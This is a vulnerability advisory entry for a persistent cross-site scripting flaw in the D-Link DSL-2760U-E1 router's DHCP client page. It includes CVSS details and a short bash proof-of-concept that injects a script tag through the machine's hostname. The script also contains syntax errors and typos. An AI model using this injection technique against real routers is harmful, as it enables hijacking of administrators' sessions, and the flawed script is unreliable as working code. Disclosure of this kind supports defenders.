D-link DSL-2760U-E1 Persistent XSS

2014-06-22 / 2014-07-01
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

#!/bin/bash # Written and discovered by Yuval tisf Nativ # The page 'dhcpinfo.html' will list all machines connected to the network with hostname, # IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname. # Checks if you are root if [ "$(id -u)" != "0" ]; then echo "Please execute this script as root" exit 1 fi # You're XSS here xss = "\"<script>alert('pwned');</script>" # backup current hostname currhost = `hostname` # Bannering echo "" echo " D-Link Persistent XSS by tisf" echo "" echo "The page dhcpinfo.html is the vulnerable page." echo "Ask the user to access it and your persistent XSS will be triggered." echo "" # Change hostname to XSS sudo hosname $xss # Restore previous hostname on exit pause "Type any key to exit and restore your previous hostname." sudo hostname $currhost


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top